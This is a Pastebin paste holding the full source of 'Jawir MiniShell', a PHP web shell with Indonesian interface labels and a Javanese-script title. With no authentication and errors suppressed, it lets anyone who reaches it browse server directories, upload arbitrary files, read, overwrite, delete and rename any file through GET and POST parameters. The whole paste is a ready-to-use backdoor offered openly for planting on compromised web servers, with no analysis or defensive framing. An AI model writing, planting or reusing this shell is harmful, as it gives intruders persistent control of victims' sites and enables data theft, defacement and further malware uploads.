willysec_id

Jawir MiniShell

Apr 18th, 2024
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.21 KB | Cybersecurity | 0 0
  1. <?php error_reporting(0); ?>
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5.     <title>ꦆꦤ꧀ꦝꦿꦩꦪꦸꦲꦕ꧀ꦏꦺꦂꦫꦸꦭꦺꦱ꧀</title>
  6.     <link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet">
  7. </head>
  8. <style>
  9.     * {
  10.         font-family: cursive;
  11.         color: #000;
  12.         font-family: 'Cuprum', sans-serif;
  13.     }
  14.  
  15.     body {
  16.         background-repeat: no-repeat;
  17.         background-attachment:fixed;
  18.         background-size: 100% 1700px;
  19.     }
  20.     body h1{
  21.         color: #A52A2A;
  22.         text-shadow: 2px 2px 2px #000;
  23.         font-size: 50px;
  24.     }
  25.     .dir {
  26.         text-align: center;
  27.         font-size: 30px;
  28.     }
  29.     .dir a{
  30.         text-decoration: none;
  31.         color: #48D1CC;
  32.         text-shadow: 1px 1px 1px #000;
  33.  
  34.     }
  35.     .dir a:hover{
  36.         text-decoration: none;
  37.         color: red;
  38.     }
  39.     table {
  40.         margin: 12px auto;
  41.         height: 100%;
  42.         border-collapse: collapse;
  43.         font-size: 30px;
  44.     }
  45.     table,th {
  46.         border-top:1px solid #000;
  47.         border-right:3px solid #000;
  48.         border-bottom: 3px solid #000;
  49.         border-left:1px solid #000;
  50.         box-sizing: border-box;
  51.         padding: 2px 2px;
  52.         color: #F0E68C;
  53.         text-shadow: 1px 1px 1px #000;
  54.     }
  55.     table,td {
  56.         border-top:1px solid #000;
  57.         border-right:3px solid #000;
  58.         border-bottom: .5px solid #000;
  59.         border-left:1px solid #000;
  60.         box-sizing: border-box;
  61.         padding: 8px 8px;
  62.         color: red;
  63.     }
  64.     table,td a {
  65.         text-decoration: none;
  66.         color:#8A2BE2;
  67.         text-shadow: 1px 1px 1px #000;
  68.     }
  69.     table,td a:hover {
  70.         text-decoration: none;
  71.         color: red;
  72.     }
  73.     .button1 {
  74.         width: 70px;
  75.         height: 30px;
  76.         background-color: #999;
  77.         margin: 10px 3px;
  78.         padding: 5px;
  79.         color: #000;
  80.         border-radius: 5px;
  81.         border: 1px solid #000;
  82.         box-shadow: .5px .5px .3px .3px #fff;
  83.         box-sizing: border-box;
  84.     }
  85.     .button1 a{
  86.         width: 70px;
  87.         height: 30px;
  88.         background-color: #999;
  89.         margin: 10px 3px;
  90.         padding: 5px;
  91.         color: red;
  92.         border-radius: 5px;
  93.         border: 1px solid #000;
  94.         box-shadow: .5px .5px .3px .3px #fff;
  95.         box-sizing: border-box;
  96.     }
  97.     .button1:hover {
  98.         text-shadow: 0px 0px 5px #fff;
  99.         box-shadow: .5px .5px .3px .3px #555;
  100.         text-decoration: none;
  101.     }
  102.     textarea {
  103.         border: 1px solid green;
  104.         border-radius: 5px;
  105.         box-shadow: 1px 1px 1px 1px #fff;
  106.         width: 100%;
  107.         height: 400px;
  108.         padding-left: 10px;
  109.         margin: 10px auto;
  110.         resize: none;
  111.         background: green;
  112.         color: #ffffff;
  113.         font-family: 'Cuprum', sans-serif;
  114.         font-size: 13px;
  115.     }
  116. </style>
  117. <body>
  118.     <center><h1>ꦆꦤ꧀ꦝꦿꦩꦪꦸꦲꦕ꧀ꦏꦺꦂꦠꦼꦄꦩ꧀</h1></center>
  119.   <div class="dir">
  120.     <?php  
  121.     if (isset($_GET['dir'])) {
  122.             $dir = $_GET['dir'];
  123.         } else {
  124.             $dir = getcwd();
  125.         }
  126.  
  127.         $dir = str_replace("\\", "/", $dir);
  128.         $dirs = explode("/", $dir);
  129.  
  130.         foreach ($dirs as $key => $value) {
  131.             if ($value == "" && $key == 0){
  132.                 echo '<a href="/">/</a>'; continue;
  133.             } echo '<a href="?dir=';
  134.  
  135.             for ($i=0; $i <= $key ; $i++) {
  136.                 echo "$dirs[$i]"; if ($key !== $i) echo "/";
  137.             } echo '">'.$value.'</a>/';
  138.     }
  139.     if (isset($_POST['submit'])){
  140.  
  141.         $namafile = $_FILES['upload']['name'];
  142.         $tempatfile = $_FILES['upload']['tmp_name'];
  143.         $tempat = $_GET['dir'];
  144.         $error = $_FILES['upload']['error'];
  145.         $ukuranfile = $_FILES['upload']['size'];
  146.  
  147.         move_uploaded_file($tempatfile, $dir.'/'.$namafile);
  148.                 echo "
  149.                     <script>alert('diupload!!!');</script>
  150.                     ";
  151.                        
  152.  
  153.    
  154.     }
  155.     ?>
  156.  
  157.     <form method="post" enctype="multipart/form-data">
  158.         <input type="file" name="upload">
  159.         <input type="submit" name="submit" value="Upload">
  160.        
  161.     </form>
  162.  
  163.   </div>
  164. <table>
  165.     <tr>
  166.         <th>Nama File / Folder</th>
  167.         <th>Size</th>
  168.         <th>Action</th>
  169.     </tr>
  170.     <?php
  171.     $scan = scandir($dir);
  172.  
  173. foreach ($scan as $directory) {
  174.     if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue;
  175.  
  176.     echo '
  177.     <tr>
  178.     <td><a href="?dir='.$dir.'/'.$directory.'">'.$directory.'</a></td>
  179.     <td>--</td>
  180.     <td>NONE</td>
  181.     </tr>
  182.     ';
  183.     }
  184. foreach ($scan as $file) {
  185.     if (!is_file($dir.'/'.$file)) continue;
  186.  
  187.     $jumlah = filesize($dir.'/'.$file)/1024;
  188.     $jumlah = round($jumlah, 3);
  189.     if ($jumlah >= 1024) {
  190.         $jumlah = round($jumlah/1024, 2).'MB';
  191.     } else {
  192.         $jumlah = $jumlah .'KB';
  193.     }
  194.  
  195.     echo '
  196.     <tr>
  197.     <td><a href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.$file.'</a></td>
  198.     <td>'.$jumlah.'</td>
  199.     <td>
  200.     <a href="?dir='.$dir.'&delete='.$dir.'/'.$file.'" class="button1">Hapus</a>
  201.     <a href="?dir='.$dir.'&ubah='.$dir.'/'.$file.'" class="button1">Edit</a>
  202.     <a href="?dir='.$dir.'&rename='.$dir.'/'.$file.'&nama='.$file.'" class="button1">Rename</a>
  203.     </td>
  204.     </tr>
  205.     ';
  206. }
  207. if (isset($_GET['open'])) {
  208.     echo '
  209.     <br />
  210.     <style>
  211.         table {
  212.             display: none;
  213.         }
  214.     </style>
  215.     <textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea>
  216.     ';
  217. }
  218.  
  219. if (isset($_GET['delete'])) {
  220.     if (unlink($_GET['delete'])) {
  221.         echo "<script>alert('dihapus');window.location='?dir=".$dir."';</script>";
  222.     }
  223. }
  224. if (isset($_GET['ubah'])) {
  225.     echo '
  226.  
  227.         <style>
  228.             table {
  229.                 display: none;
  230.             }
  231.         </style>
  232.  
  233.         <a href="?dir='.$dir.'" class="button1"><=Back</a>
  234.         <form method="post" action="">
  235.         <input type="hidden" name="object" value="'.$_GET['ubah'].'">
  236.         <textarea name="edit">'.htmlspecialchars(file_get_contents($_GET['ubah'])).'</textarea>
  237.         <center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
  238.         </form>
  239.  
  240.         ';
  241. }
  242. if (isset($_POST['edit'])) {
  243.     $data = fopen($_POST["object"], 'w');
  244.     if (fwrite($data, $_POST['edit'])) {
  245.  
  246.         echo
  247.             '
  248.             <script>alert("Berhasil diedit!!!");window.location="?dir='.$dir.'";</script>                      
  249.             ';
  250.  
  251.     } else {
  252.         echo "
  253.             <script>alert('gagal');</script>                   
  254.             ";
  255.     }
  256. }
  257.  
  258. if($_GET['rename']){
  259.     if(isset($_POST['newname'])){
  260.         if(rename($_GET['rename'], $_GET['dir'] . '/' .$_POST['newname'])){
  261.             echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  262.             echo "<script>window.location='?dir=".$dir."';</script>";
  263.         }else{
  264.             echo '<font color="red">Ganti Nama Gagal</font><br />';
  265.         }
  266.     }
  267. echo '<br><center><form method="POST">
  268. New Name : <input name="newname" type="text" size="20" value="'.$_GET['nama'].'" />
  269. <input type="hidden" name="path" value="'.$_GET['dir'].'">
  270. <input type="hidden" name="opt" value="rename">
  271. <input type="submit" value="Go" />
  272. </form></center>';
  273. }
  274.  
  275. ?>
  276. </table>
  277. </body>
  278. </html>
Add Comment
Please, Sign In to add comment